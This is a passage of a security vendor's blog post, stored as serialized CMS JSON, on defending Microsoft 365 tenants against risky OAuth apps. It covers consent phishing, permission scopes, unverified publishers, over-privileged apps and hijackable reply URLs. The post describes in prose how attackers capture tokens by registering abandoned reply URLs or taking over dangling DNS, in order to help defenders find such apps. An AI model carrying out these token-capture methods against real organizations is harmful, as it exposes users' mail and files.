organization.",{"data":203159,"content":203160,"nodeType":981},{},[203161],{"data":203162,"marks":203163,"value":84010,"nodeType":865},{},[],{"data":203165,"content":203166,"nodeType":1317},{},[203167],{"data":203168,"marks":203169,"value":203170,"nodeType":865},{},[],"The issue:",{"data":203172,"content":203173,"nodeType":866},{},[203174,203178,203189],{"data":203175,"marks":203176,"value":203177,"nodeType":865},{},[],"This method of compromising user accounts has been covered a ",{"data":203179,"content":203183,"nodeType":33606},{"target":203180},{"sys":203181},{"id":203182,"type":909,"linkType":910},"1bV8YTSQHvveCTnRc4H8su",[203184],{"data":203185,"marks":203186,"value":203188,"nodeType":865},{},[203187],{"type":943},"few times",{"data":203190,"marks":203191,"value":203192,"nodeType":865},{},[]," by Push. Without rehashing too much of the content, the main idea behind consent phishing is to get a user to perform an integration while the app masquerades as something official. ",{"data":203194,"content":203195,"nodeType":866},{},[203196],{"data":203197,"marks":203198,"value":203199,"nodeType":865},{},[],"As an example, a user is sent an email where the content is either surprisingly legitimate, or sparks sufficient curiosity to make them want to access the data behind the link. They are directed to a Microsoft or Google login page, where the app asks for certain permissions, such as mailbox access. The user, having performed these actions before, thinks nothing of it and clicks ‘allow’. The attacker successfully tricked the user to give them access to their mailbox (or whichever privileges the app was requesting).",{"data":203201,"content":203205,"nodeType":912},{"target":203202},{"sys":203203},{"id":203204,"type":909,"linkType":910},"2zeeE8NrgX4MnpHdIjszot",[],{"data":203207,"content":203208,"nodeType":1317},{},[203209],{"data":203210,"marks":203211,"value":203212,"nodeType":865},{},[],"The solution:",{"data":203214,"content":203215,"nodeType":866},{},[203216],{"data":203217,"marks":203218,"value":203219,"nodeType":865},{},[],"There are two ways to help prevent this type of compromise:",{"data":203221,"content":203222,"nodeType":866},{},[203223],{"data":203224,"marks":203225,"value":203226,"nodeType":865},{},[],"The first is to go the “block everything” route by preventing any integrations from being added to your tenants at all. This is quite heavy-handed and a bit like throwing the baby out with the bathwater, as this approach leads to IT/security departments becoming known as the departments of ‘NO’, potentially resulting in users circumventing controls, and the emergence of shadow IT.",{"data":203228,"content":203229,"nodeType":866},{},[203230,203234,203243,203247,203258],{"data":203231,"marks":203232,"value":203233,"nodeType":865},{},[],"The second is to be sensible about what to allow and what to prevent during SaaS integrations. For instance, in Microsoft 365 administrators are able to ",{"data":203235,"content":203237,"nodeType":889},{"uri":203236},"https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/configure-permission-classifications",[203238],{"data":203239,"marks":203240,"value":203242,"nodeType":865},{},[203241],{"type":943},"specify low-risk scopes",{"data":203244,"marks":203245,"value":203246,"nodeType":865},{},[],", such as ones specifically used for performing social logins (which are okay to do ",{"data":203248,"content":203252,"nodeType":33606},{"target":203249},{"sys":203250},{"id":203251,"type":909,"linkType":910},"68syxk4cmD6QOdVRcDqgEZ",[203253],{"data":203254,"marks":203255,"value":203257,"nodeType":865},{},[203256],{"type":943},"by the way",{"data":203259,"marks":203260,"value":203261,"nodeType":865},{},[],"). Admins can then allow employees to perform social logins, and integrate apps making use of other low-risk scopes from  verified apps only. Employees can also request access to anything requiring other scopes. This is a great way to enable users to perform their jobs, while preventing them from accidentally exposing themselves or the wider organization to unnecessary risk.",{"data":203263,"content":203267,"nodeType":912},{"target":203264},{"sys":203265},{"id":203266,"type":909,"linkType":910},"44NsMwlLpX4qnZP94GyTSO",[],{"data":203269,"content":203270,"nodeType":866},{},[203271],{"data":203272,"marks":203273,"value":203274,"nodeType":865},{},[],"When configuring the above for the first time, Microsoft provides a list of 5 scopes:",{"data":203276,"content":203277,"nodeType":2927},{},[203278,203301,203324,203347,203370],{"data":203279,"content":203280,"nodeType":2400},{},[203281,203291],{"data":203282,"content":203283,"nodeType":2366},{},[203284],{"data":203285,"content":203286,"nodeType":866},{},[203287],{"data":203288,"marks":203289,"value":203290,"nodeType":865},{},[],"profile",{"data":203292,"content":203293,"nodeType":2366},{},[203294],{"data":203295,"content":203296,"nodeType":866},{},[203297],{"data":203298,"marks":203299,"value":203300,"nodeType":865},{},[],"View user's basic profile",{"data":203302,"content":203303,"nodeType":2400},{},[203304,203314],{"data":203305,"content":203306,"nodeType":2366},{},[203307],{"data":203308,"content":203309,"nodeType":866},{},[203310],{"data":203311,"marks":203312,"value":203313,"nodeType":865},{},[],"openid",{"data":203315,"content":203316,"nodeType":2366},{},[203317],{"data":203318,"content":203319,"nodeType":866},{},[203320],{"data":203321,"marks":203322,"value":203323,"nodeType":865},{},[],"Sign users in",{"data":203325,"content":203326,"nodeType":2400},{},[203327,203337],{"data":203328,"content":203329,"nodeType":2366},{},[203330],{"data":203331,"content":203332,"nodeType":866},{},[203333],{"data":203334,"marks":203335,"value":203336,"nodeType":865},{},[],"email",{"data":203338,"content":203339,"nodeType":2366},{},[203340],{"data":203341,"content":203342,"nodeType":866},{},[203343],{"data":203344,"marks":203345,"value":203346,"nodeType":865},{},[],"View user's email address",{"data":203348,"content":203349,"nodeType":2400},{},[203350,203360],{"data":203351,"content":203352,"nodeType":2366},{},[203353],{"data":203354,"content":203355,"nodeType":866},{},[203356],{"data":203357,"marks":203358,"value":203359,"nodeType":865},{},[],"User.Read",{"data":203361,"content":203362,"nodeType":2366},{},[203363],{"data":203364,"content":203365,"nodeType":866},{},[203366],{"data":203367,"marks":203368,"value":203369,"nodeType":865},{},[],"Sign in and read user profile",{"data":203371,"content":203372,"nodeType":2400},{},[203373,203383],{"data":203374,"content":203375,"nodeType":2366},{},[203376],{"data":203377,"content":203378,"nodeType":866},{},[203379],{"data":203380,"marks":203381,"value":203382,"nodeType":865},{},[],"Offline_access",{"data":203384,"content":203385,"nodeType":2366},{},[203386],{"data":203387,"content":203388,"nodeType":866},{},[203389],{"data":203390,"marks":203391,"value":203392,"nodeType":865},{},[],"Maintain access to data you. have given it access to (refresh tokens)",{"data":203394,"content":203395,"nodeType":866},{},[203396],{"data":203397,"marks":203398,"value":203399,"nodeType":865},{},[],"The above scopes are the minimum required to enable social logins to take place, and would cover a good amount of apps that only require basic information for account creation purposes. ",{"data":203401,"content":203402,"nodeType":866},{},[203403],{"data":203404,"marks":203405,"value":203406,"nodeType":865},{},[],"If you’d like to go a step further, you should also consider approving the following to allow users to integrate these relatively common scopes from verified apps:",{"data":203408,"content":203409,"nodeType":2927},{},[203410,203433,203456,203479,203502,203525,203548,203571,203594,203617,203640],{"data":203411,"content":203412,"nodeType":2400},{},[203413,203423],{"data":203414,"content":203415,"nodeType":2366},{},[203416],{"data":203417,"content":203418,"nodeType":866},{},[203419],{"data":203420,"marks":203421,"value":203422,"nodeType":865},{},[],"Calendars.Read",{"data":203424,"content":203425,"nodeType":2366},{},[203426],{"data":203427,"content":203428,"nodeType":866},{},[203429],{"data":203430,"marks":203431,"value":203432,"nodeType":865},{},[],"Read user calendars",{"data":203434,"content":203435,"nodeType":2400},{},[203436,203446],{"data":203437,"content":203438,"nodeType":2366},{},[203439],{"data":203440,"content":203441,"nodeType":866},{},[203442],{"data":203443,"marks":203444,"value":203445,"nodeType":865},{},[],"Calendars.ReadWrite",{"data":203447,"content":203448,"nodeType":2366},{},[203449],{"data":203450,"content":203451,"nodeType":866},{},[203452],{"data":203453,"marks":203454,"value":203455,"nodeType":865},{},[],"Have full access to user calendars",{"data":203457,"content":203458,"nodeType":2400},{},[203459,203469],{"data":203460,"content":203461,"nodeType":2366},{},[203462],{"data":203463,"content":203464,"nodeType":866},{},[203465],{"data":203466,"marks":203467,"value":203468,"nodeType":865},{},[],"Calendars.ReadWrite.Shared",{"data":203470,"content":203471,"nodeType":2366},{},[203472],{"data":203473,"content":203474,"nodeType":866},{},[203475],{"data":203476,"marks":203477,"value":203478,"nodeType":865},{},[],"Read and write user and shared calendars",{"data":203480,"content":203481,"nodeType":2400},{},[203482,203492],{"data":203483,"content":203484,"nodeType":2366},{},[203485],{"data":203486,"content":203487,"nodeType":866},{},[203488],{"data":203489,"marks":203490,"value":203491,"nodeType":865},{},[],"Contacts.Read",{"data":203493,"content":203494,"nodeType":2366},{},[203495],{"data":203496,"content":203497,"nodeType":866},{},[203498],{"data":203499,"marks":203500,"value":203501,"nodeType":865},{},[],"Read user contacts",{"data":203503,"content":203504,"nodeType":2400},{},[203505,203515],{"data":203506,"content":203507,"nodeType":2366},{},[203508],{"data":203509,"content":203510,"nodeType":866},{},[203511],{"data":203512,"marks":203513,"value":203514,"nodeType":865},{},[],"Contacts.Read.Shared",{"data":203516,"content":203517,"nodeType":2366},{},[203518],{"data":203519,"content":203520,"nodeType":866},{},[203521],{"data":203522,"marks":203523,"value":203524,"nodeType":865},{},[],"Read user and shared contacts",{"data":203526,"content":203527,"nodeType":2400},{},[203528,203538],{"data":203529,"content":203530,"nodeType":2366},{},[203531],{"data":203532,"content":203533,"nodeType":866},{},[203534],{"data":203535,"marks":203536,"value":203537,"nodeType":865},{},[],"Contacts.ReadWrite",{"data":203539,"content":203540,"nodeType":2366},{},[203541],{"data":203542,"content":203543,"nodeType":866},{},[203544],{"data":203545,"marks":203546,"value":203547,"nodeType":865},{},[],"Have full access to user contacts",{"data":203549,"content":203550,"nodeType":2400},{},[203551,203561],{"data":203552,"content":203553,"nodeType":2366},{},[203554],{"data":203555,"content":203556,"nodeType":866},{},[203557],{"data":203558,"marks":203559,"value":203560,"nodeType":865},{},[],"Contacts.ReadWrite.Shared",{"data":203562,"content":203563,"nodeType":2366},{},[203564],{"data":203565,"content":203566,"nodeType":866},{},[203567],{"data":203568,"marks":203569,"value":203570,"nodeType":865},{},[],"Read and write user and shared contacts",{"data":203572,"content":203573,"nodeType":2400},{},[203574,203584],{"data":203575,"content":203576,"nodeType":2366},{},[203577],{"data":203578,"content":203579,"nodeType":866},{},[203580],{"data":203581,"marks":203582,"value":203583,"nodeType":865},{},[],"People.Read",{"data":203585,"content":203586,"nodeType":2366},{},[203587],{"data":203588,"content":203589,"nodeType":866},{},[203590],{"data":203591,"marks":203592,"value":203593,"nodeType":865},{},[],"Read users' relevant people lists",{"data":203595,"content":203596,"nodeType":2400},{},[203597,203607],{"data":203598,"content":203599,"nodeType":2366},{},[203600],{"data":203601,"content":203602,"nodeType":866},{},[203603],{"data":203604,"marks":203605,"value":203606,"nodeType":865},{},[],"Files.Read.Selected",{"data":203608,"content":203609,"nodeType":2366},{},[203610],{"data":203611,"content":203612,"nodeType":866},{},[203613],{"data":203614,"marks":203615,"value":203616,"nodeType":865},{},[],"Read files that the user selects",{"data":203618,"content":203619,"nodeType":2400},{},[203620,203630],{"data":203621,"content":203622,"nodeType":2366},{},[203623],{"data":203624,"content":203625,"nodeType":866},{},[203626],{"data":203627,"marks":203628,"value":203629,"nodeType":865},{},[],"Files.ReadWrite.Selected",{"data":203631,"content":203632,"nodeType":2366},{},[203633],{"data":203634,"content":203635,"nodeType":866},{},[203636],{"data":203637,"marks":203638,"value":203639,"nodeType":865},{},[],"Read and write files that the user selects",{"data":203641,"content":203642,"nodeType":2400},{},[203643,203653],{"data":203644,"content":203645,"nodeType":2366},{},[203646],{"data":203647,"content":203648,"nodeType":866},{},[203649],{"data":203650,"marks":203651,"value":203652,"nodeType":865},{},[],"User.ReadWrite",{"data":203654,"content":203655,"nodeType":2366},{},[203656],{"data":203657,"content":203658,"nodeType":866},{},[203659],{"data":203660,"marks":203661,"value":203662,"nodeType":865},{},[],"Read and write access to user profile",{"data":203664,"content":203665,"nodeType":866},{},[203666],{"data":203667,"marks":203668,"value":203669,"nodeType":865},{},[],"We’ve determined these scopes to be relatively low-risk, but this would depend on the risk appetite of your organization. Pre-approving the scopes will go a long way towards enabling your users to make use of SaaS apps without raising unnecessary approval requests from your IT or security team.",{"data":203671,"content":203672,"nodeType":981},{},[203673],{"data":203674,"marks":203675,"value":203676,"nodeType":865},{},[],"Unverified apps",{"data":203678,"content":203679,"nodeType":1317},{},[203680],{"data":203681,"marks":203682,"value":203170,"nodeType":865},{},[],{"data":203684,"content":203685,"nodeType":866},{},[203686,203690,203699,203703,203712],{"data":203687,"marks":203688,"value":203689,"nodeType":865},{},[],"First, let’s define what causes an app to be classified as unverified. When you see an app in your tenant that’s marked as unverified, it means that the tenant that publishes the app has not gone through the ",{"data":203691,"content":203693,"nodeType":889},{"uri":203692},"https://learn.microsoft.com/en-gb/azure/active-directory/develop/publisher-verification-overview",[203694],{"data":203695,"marks":203696,"value":203698,"nodeType":865},{},[203697],{"type":943},"Publisher Verification",{"data":203700,"marks":203701,"value":203702,"nodeType":865},{},[]," process. Going through the verification process requires the publisher to have a Microsoft Partner Network (MPN) account, which typically involves ",{"data":203704,"content":203706,"nodeType":889},{"uri":203705},"https://learn.microsoft.com/en-us/partner-center/verification-responses",[203707],{"data":203708,"marks":203709,"value":203711,"nodeType":865},{},[203710],{"type":943},"verifying",{"data":203713,"marks":203714,"value":203715,"nodeType":865},{},[]," their business address, email address, and a few additional due diligence tasks. ",{"data":203717,"content":203718,"nodeType":866},{},[203719],{"data":203720,"marks":203721,"value":203722,"nodeType":865},{},[],"While I’m sure this is not a 100% infallible process, at the very least it provides you with the confidence that someone at Microsoft had reached out to the company and spoken to someone who claims they are who they say they are. This is opposed to a random person creating a Microsoft Azure tenant and marking their app as being published by Adobe, as an example.",{"data":203724,"content":203725,"nodeType":866},{},[203726],{"data":203727,"marks":203728,"value":203729,"nodeType":865},{},[],"At Push, we’ve noticed plenty of unverified apps published by legitimate vendors. This could be related to vendors having multiple tenants, and not having completed the verification process across all yet. As an example, we have a few of Adobe’s apps for Microsoft 365:",{"data":203731,"content":203735,"nodeType":912},{"target":203732},{"sys":203733},{"id":203734,"type":909,"linkType":910},"4eDWZKrMau1AfU4pXgOW42",[],{"data":203737,"content":203738,"nodeType":866},{},[203739],{"data":203740,"marks":203741,"value":203742,"nodeType":865},{},[],"In the above image, we have a verified app from Adobe, Inc. We know this due to the ‘Verified Publisher’ attribute that is included when parsing the information provided by Microsoft. We can also see that the only reply url is one associated directly with Adobe – adobe.com. Next, we have an unverified app:",{"data":203744,"content":203748,"nodeType":912},{"target":203745},{"sys":203746},{"id":203747,"type":909,"linkType":910},"5e5RhdYiMh0Q3CZzmNoRDI",[],{"data":203750,"content":203751,"nodeType":866},{},[203752],{"data":203753,"marks":203754,"value":203755,"nodeType":865},{},[],"This app does not include the ‘verified publisher’ attribute when reading the information provided by Microsoft. However, the app only has one reply url, and this is again a subdomain of adobe.com.",{"data":203757,"content":203758,"nodeType":866},{},[203759],{"data":203760,"marks":203761,"value":203762,"nodeType":865},{},[],"The takeaway here is that not all unverified apps are malicious. More often than not it’s related to the vendor not having gone through the verification process, but this means it unfortunately becomes the security team’s burden to figure out.",{"data":203764,"content":203765,"nodeType":1317},{},[203766],{"data":203767,"marks":203768,"value":203212,"nodeType":865},{},[],{"data":203770,"content":203771,"nodeType":866},{},[203772],{"data":203773,"marks":203774,"value":203775,"nodeType":865},{},[],"At Push, we attempt to review every application we come across to determine if it's legit and whether it belongs to the vendor it claims to originate from. There are multiple ways to do this, but as a general rule of thumb if all the app’s reply urls are associated with the vendor, you are good. You can perform an integration from the app’s website to verify that the particular app ID (seen in the metadata tag above) is the one you are looking at in your environment.",{"data":203777,"content":203778,"nodeType":981},{},[203779],{"data":203780,"marks":203781,"value":203782,"nodeType":865},{},[],"Apps with excessive privileges",{"data":203784,"content":203785,"nodeType":1317},{},[203786],{"data":203787,"marks":203788,"value":203170,"nodeType":865},{},[],{"data":203790,"content":203791,"nodeType":866},{},[203792],{"data":203793,"marks":203794,"value":203795,"nodeType":865},{},[],"When you first start doing deep dives on permissions associated with apps in your environment, you find yourself looking at some apps and wonder out loud “we’re granting this vendor access to what?!",{"data":203797,"content":203798,"nodeType":866},{},[203799],{"data":203800,"marks":203801,"value":203802,"nodeType":865},{},[],"It’s a totally normal response, but don't worry, we’re here to help. Let’s take diagrams.net as an example:",{"data":203804,"content":203808,"nodeType":912},{"target":203805},{"sys":203806},{"id":203807,"type":909,"linkType":910},"7DcPUSZ0nDYKmIy4E9xEHs",[],{"data":203810,"content":203811,"nodeType":866},{},[203812],{"data":203813,"marks":203814,"value":203815,"nodeType":865},{},[],"At first glance this doesn’t seem too bad. For the purposes of this example, let’s say the app was approved by 49 users. That means if diagrams.net got compromised, an attacker would potentially have access to 49 of your user’s OneDrive files. “That’s OK!” you say. “This will only affect a handful of files they’ve been working on locally. Our policy specifies that any company data, specifically data containing PII, be stored in SharePoint.”",{"data":203817,"content":203818,"nodeType":866},{},[203819,203823,203828],{"data":203820,"marks":203821,"value":203822,"nodeType":865},{},[],"And then comes the part where you notice the following permission: ",{"data":203824,"marks":203825,"value":203827,"nodeType":865},{},[203826],{"type":898},"Sites.Read.All",{"data":203829,"marks":203830,"value":203831,"nodeType":865},{},[],". This permission gives the application the ability to read every file across all SharePoint sites in your organization (that the users have permission to access.) Suddenly the scope of data access is much larger than you hoped.",{"data":203833,"content":203834,"nodeType":1317},{},[203835],{"data":203836,"marks":203837,"value":203212,"nodeType":865},{},[],{"data":203839,"content":203840,"nodeType":866},{},[203841],{"data":203842,"marks":203843,"value":203844,"nodeType":865},{},[],"When faced with the dilemma of granting apps access to resources within your organization, the best course of action is to do a risk assessment.",{"data":203846,"content":203847,"nodeType":866},{},[203848,203852,203861,203865,203874],{"data":203849,"marks":203850,"value":203851,"nodeType":865},{},[],"This requires some good ol’ googling and reviewing the security policies of the app’s creator. You ideally also want to know who they use to process your data. Through this process, I found a ",{"data":203853,"content":203855,"nodeType":889},{"uri":203854},"https://www.diagrams.net/blog/data-protection",[203856],{"data":203857,"marks":203858,"value":203860,"nodeType":865},{},[203859],{"type":943},"blog post",{"data":203862,"marks":203863,"value":203864,"nodeType":865},{},[]," on diagrams.net detailing their approach to security and user privacy. They do make note that they don’t ",{"data":203866,"content":203868,"nodeType":889},{"uri":203867},"https://www.diagrams.net/blog/data-protection#:~:text=Because%20your%20sensitive%20diagram%20data%20doesn%E2%80%99t%20leave%20your%20infrastructure%20and%20is%20never%20stored%20on%20the%20diagrams.net%20servers%2C%20diagrams.net%20is%20a%20tool%20which%20lets%20you%20comply%20with%20data%20protection%20certifications%20(ISO%2027000%2C%2027001%20and%2027002)%20and%20the%20GDPR.",[203869],{"data":203870,"marks":203871,"value":203873,"nodeType":865},{},[203872],{"type":943},"store any sensitive customer data data on their servers",{"data":203875,"marks":203876,"value":203877,"nodeType":865},{},[],", and thus let you comply with GDPR, ISO 2700* etc. certifications if you use their services.",{"data":203879,"content":203880,"nodeType":866},{},[203881],{"data":203882,"marks":203883,"value":203884,"nodeType":865},{},[],"While this is great from a tick box exercise perspective, this doesn’t address the original concern – how much risk are you taking on by letting their app integrate with your environment? What could an attacker who compromises diagrams.net have access to and how do you lessen the risk while still allowing employees to use the app?",{"data":203886,"content":203887,"nodeType":866},{},[203888,203892,203901],{"data":203889,"marks":203890,"value":203891,"nodeType":865},{},[],"Further in the same blog post, they link to a GitHub ",{"data":203893,"content":203895,"nodeType":889},{"uri":203894},"https://github.com/jgraph/security-privacy-legal",[203896],{"data":203897,"marks":203898,"value":203900,"nodeType":865},{},[203899],{"type":943},"repository",{"data":203902,"marks":203903,"value":203904,"nodeType":865},{},[]," that contains their security and privacy processes, policies, and even some pentest reports. They do a great job of including this information, by the way, so cheers to diagrams.net!",{"data":203906,"content":203907,"nodeType":866},{},[203908],{"data":203909,"marks":203910,"value":203911,"nodeType":865},{},[],"At this point you should have a better understanding of the security of the vendor you’re integrating into your organization, and whether it’s okay to accept the risk. Documenting and adding the information you found to your risk register is also a good idea. Likely, you’ll be taking this information to your Information Security Manager for risk acceptance. ",{"data":203913,"content":203914,"nodeType":866},{},[203915],{"data":203916,"marks":203917,"value":203918,"nodeType":865},{},[],"We’re working on ways to provide this information to our clients through the Push app dashboard in future, too. Sign up or subscribe to our blog to get product updates when features like this are introduced. ",{"data":203920,"content":203921,"nodeType":981},{},[203922],{"data":203923,"marks":203924,"value":203925,"nodeType":865},{},[],"Hijackable urls and implicit grant flow",{"data":203927,"content":203928,"nodeType":1317},{},[203929],{"data":203930,"marks":203931,"value":203170,"nodeType":865},{},[],{"data":203933,"content":203934,"nodeType":866},{},[203935,203940,203950,203955,203965],{"data":203936,"marks":203937,"value":203939,"nodeType":865},{},[203938],{"type":898},"Developer side note: The implicit grant flow is no longer recommended due to security-related concerns and that it won’t function where ",{"data":203941,"content":203943,"nodeType":889},{"uri":203942},"https://learn.microsoft.com/en-us/azure/active-directory/develop/reference-third-party-cookies-spas#:~:text=Many%20browsers%20block%20third%2Dparty%20cookies%2C%20cookies%20on%20requests%20to%20domains%20other%20than%20the%20domain%20shown%20in%20the%20browser%27s%20address%20bar.%20This%20block%20breaks%20the%20implicit%20flow%20and%20requires%20new%20authentication%20patterns%20to%20successfully%20sign%20in%20users.",[203944],{"data":203945,"marks":203946,"value":203949,"nodeType":865},{},[203947,203948],{"type":943},{"type":898},"3rd party cookies are blocked in browsers",{"data":203951,"marks":203952,"value":203954,"nodeType":865},{},[203953],{"type":898},". Instead, you should switch to using the ",{"data":203956,"content":203958,"nodeType":889},{"uri":203957},"https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow",[203959],{"data":203960,"marks":203961,"value":203964,"nodeType":865},{},[203962,203963],{"type":943},{"type":898},"authorization code flow",{"data":203966,"marks":203967,"value":203969,"nodeType":865},{},[203968],{"type":898}," if applicable to your requirements.",{"data":203971,"content":203972,"nodeType":866},{},[203973,203977,203986],{"data":203974,"marks":203975,"value":203976,"nodeType":865},{},[],"Let’s quickly go over how OAuth2’s implicit grant flow works so you can better understand how to spot potentially risky apps and integrations, and why this can result in a security concern. Microsoft provides a great ",{"data":203978,"content":203980,"nodeType":889},{"uri":203979},"https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-implicit-grant-flow",[203981],{"data":203982,"marks":203983,"value":203985,"nodeType":865},{},[203984],{"type":943},"breakdown",{"data":203987,"marks":203988,"value":203989,"nodeType":865},{},[]," of the implicit grant flow, however for the purposes of brevity (and simplicity), it does the following:",{"data":203991,"content":203992,"nodeType":204043},{},[203993,204003,204013,204023,204033],{"data":203994,"content":203995,"nodeType":1570},{},[203996],{"data":203997,"content":203998,"nodeType":866},{},[203999],{"data":204000,"marks":204001,"value":204002,"nodeType":865},{},[],"A user goes to a web app and clicks a login link",{"data":204004,"content":204005,"nodeType":1570},{},[204006],{"data":204007,"content":204008,"nodeType":866},{},[204009],{"data":204010,"marks":204011,"value":204012,"nodeType":865},{},[],"The web app redirects the user to authenticate and authorize the app. This is performed against your identity provider (in this example, Microsoft)",{"data":204014,"content":204015,"nodeType":1570},{},[204016],{"data":204017,"content":204018,"nodeType":866},{},[204019],{"data":204020,"marks":204021,"value":204022,"nodeType":865},{},[],"If this is the first time authorizing the app, the user is presented with a list of scopes (permissions) the app will need access to, and the user clicks “approve”",{"data":204024,"content":204025,"nodeType":1570},{},[204026],{"data":204027,"content":204028,"nodeType":866},{},[204029],{"data":204030,"marks":204031,"value":204032,"nodeType":865},{},[],"This responds with a token to one of the hard-coded reply urls associated with the app integration (e.g. https://apps.diagrams.net/microsoft as with the ‘Apps with excessive privileges’ example)",{"data":204034,"content":204035,"nodeType":1570},{},[204036],{"data":204037,"content":204038,"nodeType":866},{},[204039],{"data":204040,"marks":204041,"value":204042,"nodeType":865},{},[],"The app uses the token to access the user’s resources with the permissions approved in step 3","ordered-list",{"data":204045,"content":204046,"nodeType":866},{},[204047],{"data":204048,"marks":204049,"value":204050,"nodeType":865},{},[],"Based on the flow above, if an attacker gets their hands on the token from step 4, they can perform requests as the user, granting them access to your resources. To get the token, you need to control one of the hardcoded reply url endpoints, and convince a user to authenticate to the app – perhaps via a phishing attack.",{"data":204052,"content":204053,"nodeType":866},{},[204054],{"data":204055,"marks":204056,"value":204057,"nodeType":865},{},[],"As an example, some of the apps we’ve reviewed contained reply urls which were subdomains of azurewebsites.net and ngrok.io. These urls don’t appear problematic at first. However, the urls could have been used during the development process, and were forgotten about at the conclusion of the project. During the review process we follow at Push, we found multiple examples of such urls that were no longer in use.",{"data":204059,"content":204060,"nodeType":866},{},[204061,204065,204074],{"data":204062,"marks":204063,"value":204064,"nodeType":865},{},[],"This could allow an attacker to register the urls and perform phishing attacks against organizations that use these particular apps, granting the attacker access to previously- approved scopes and resources. The outcome of this attack would be similar to ",{"data":204066,"content":204068,"nodeType":889},{"uri":204067},"https://www.oauth.com/oauth2-servers/authorization/security-considerations/#:~:text=Redirect%20URL%20Manipulation",[204069],{"data":204070,"marks":204071,"value":204073,"nodeType":865},{},[204072],{"type":943},"redirect URL manipulation",{"data":204075,"marks":204076,"value":204077,"nodeType":865},{},[],", but instead of taking advantage of an open or misconfigured redirect, the attacker is in control of the endpoint where the token ends up.",{"data":204079,"content":204080,"nodeType":866},{},[204081,204085,204093],{"data":204082,"marks":204083,"value":204084,"nodeType":865},{},[],"How would you even go about detecting if an app makes use of the implicit grant flow? This requires getting your hands dirty with making authorization requests to your tenant for the specific app ID, and passing the “response_type=token” parameter in the url. This should return an error if the app is not configured with the implicit grant flow. If you’d like to test this yourself, you can follow the “Run in Postman” link at the top of ",{"data":204086,"content":204087,"nodeType":889},{"uri":203979},[204088],{"data":204089,"marks":204090,"value":204092,"nodeType":865},{},[204091],{"type":943},"this article",{"data":204094,"marks":204095,"value":204096,"nodeType":865},{},[]," to make this process a bit easier.",{"data":204098,"content":204099,"nodeType":866},{},[204100],{"data":204101,"marks":204102,"value":204103,"nodeType":865},{},[],"Another example of a hijackable url includes dangling DNS records. Let’s say your app includes a reply url pointing to a legacy server used for development (eg. apptesting-dev.ctrlaltsecure.com). This server was hosted on an EC2 instance in AWS, and has long since been decommissioned. However, the IP address associated with the instance is still pointing to the same address. A determined attacker could potentially gain access to the IP address by spinning up resources until it’s assigned to them.",{"data":204105,"content":204106,"nodeType":866},{},[204107,204111,204120,204124,204133],{"data":204108,"marks":204109,"value":204110,"nodeType":865},{},[],"OWASP has ",{"data":204112,"content":204114,"nodeType":889},{"uri":204113},"https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/10-Test_for_Subdomain_Takeover",[204115],{"data":204116,"marks":204117,"value":204119,"nodeType":865},{},[204118],{"type":943},"published an article",{"data":204121,"marks":204122,"value":204123,"nodeType":865},{},[]," and HackerOne ",{"data":204125,"content":204127,"nodeType":889},{"uri":204126},"https://www.hackerone.com/application-security/guide-subdomain-takeovers",[204128],{"data":204129,"marks":204130,"value":204132,"nodeType":865},{},[204131],{"type":943},"posted a guide",{"data":204134,"marks":204135,"value":204136,"nodeType":865},{},[]," highlighting ways to take over subdomains , and it’s very easy to overlook.",{"data":204138,"content":204139,"nodeType":1317},{},[204140],{"data":204141,"marks":204142,"value":203212,"nodeType":865},{},[],{"data":204144,"content":204145,"nodeType":866},{},[204146],{"data":204147,"marks":204148,"value":204149,"nodeType":865},{},[],"Unfortunately there is no elegant solution to this problem, and it’s not easy to spot as you would need to review each url to see if it’s still in use, in addition to figuring out if the app makes use of the implicit grant flow. Even then, is the active url being used by the developer, or has an attacker already claimed it.",{"data":204151,"content":204152,"nodeType":866},{},[204153],{"data":204154,"marks":204155,"value":204156,"nodeType":865},{},[],"The best course of action here is likely to make use of a proxy that prevents users from accessing unclassified urls, or urls with a low reputation. However, you will risk breaking applications and making your developers angry. This also does not solve the dangling DNS issue, as with the EC2 instance problem above.",{"data":204158,"content":204159,"nodeType":866},{},[204160],{"data":204161,"marks":204162,"value":204163,"nodeType":865},{},[],"Another option is to contact vendors of apps that you’ve noticed including such urls in their apps and ask them to remove the stale entries from their apps.",{"data":204165,"content":204166,"nodeType":981},{},[204167],{"data":204168,"marks":204169,"value":204170,"nodeType":865},{},[],"You think you’ve been compromised. Now what?",{"data":204172,"content":204173,"nodeType":866},{},[204174],{"data":204175,"marks":204176,"value":204177,"nodeType":865},{},[],"\nRegardless of the method of compromise, there’s a few steps you can take to review what happened and to prevent further access into your environment.",{"data":204179,"content":204180,"nodeType":1317},{},[204181],{"data":204182,"marks":204183,"value":204184,"nodeType":865},{},[],"Review app sign-in logs",{"data":204186,"content":204187,"nodeType":866},{},[204188,204192,204201],{"data":204189,"marks":204190,"value":204191,"nodeType":865},{},[],"In Azure Active Directory, head to ",{"data":204193,"content":204195,"nodeType":889},{"uri":204194},"https://portal.azure.com/#view/Microsoft_AAD_IAM/StartboardApplicationsMenuBlade/~/AppAppsPreview/menuId~/null",[204196],{"data":204197,"marks":204198,"value":204200,"nodeType":865},{},[204199],{"type":943},"Enterprise applications",{"data":204202,"marks":204203,"value":204204,"nodeType":865},{},[]," and click on the app you want to review. In the new window, click on sign-in logs. You will be presented with a list of user sign-ins (interactive and non-interactive), service principal sign-ins, and managed identity sign-ins.",{"data":204206,"content":204210,"nodeType":912},{"target":204207},{"sys":204208},{"id":204209,"type":909,"linkType":910},"2L7vf2zjZBelGMJSjP2inY",[],{"data":204212,"content":204213,"nodeType":866},{},[204214],{"data":204215,"marks":204216,"value":204217,"nodeType":865},{},[],"What you typically need to look for is non-interactive user sign-in logs. Non-interactive sign-ins are related to login events performed on behalf of a user where usernames and passwords were not used (read: tokens). You want to review the sign-ins to determine if there were authentication events from IP addresses unrelated to normal employee activity, which can include discrepancies in geographical locations, and out-of-hours activity. Service principal sign-ins would also be of interest, however it would be more difficult to determine odd behavior as you wouldn’t have user sign-ins to compare with.",{"data":204219,"content":204220,"nodeType":866},{},[204221,204225,204233],{"data":204222,"marks":204223,"value":204224,"nodeType":865},{},[],"You could also review Azure’s ",{"data":204226,"content":204228,"nodeType":889},{"uri":204227},"https://portal.azure.com/#view/Microsoft_AAD_IAM/SecurityMenuBlade/~/RiskySignIns",[204229],{"data":204230,"marks":204231,"value":204232,"nodeType":865},{},[],"risky 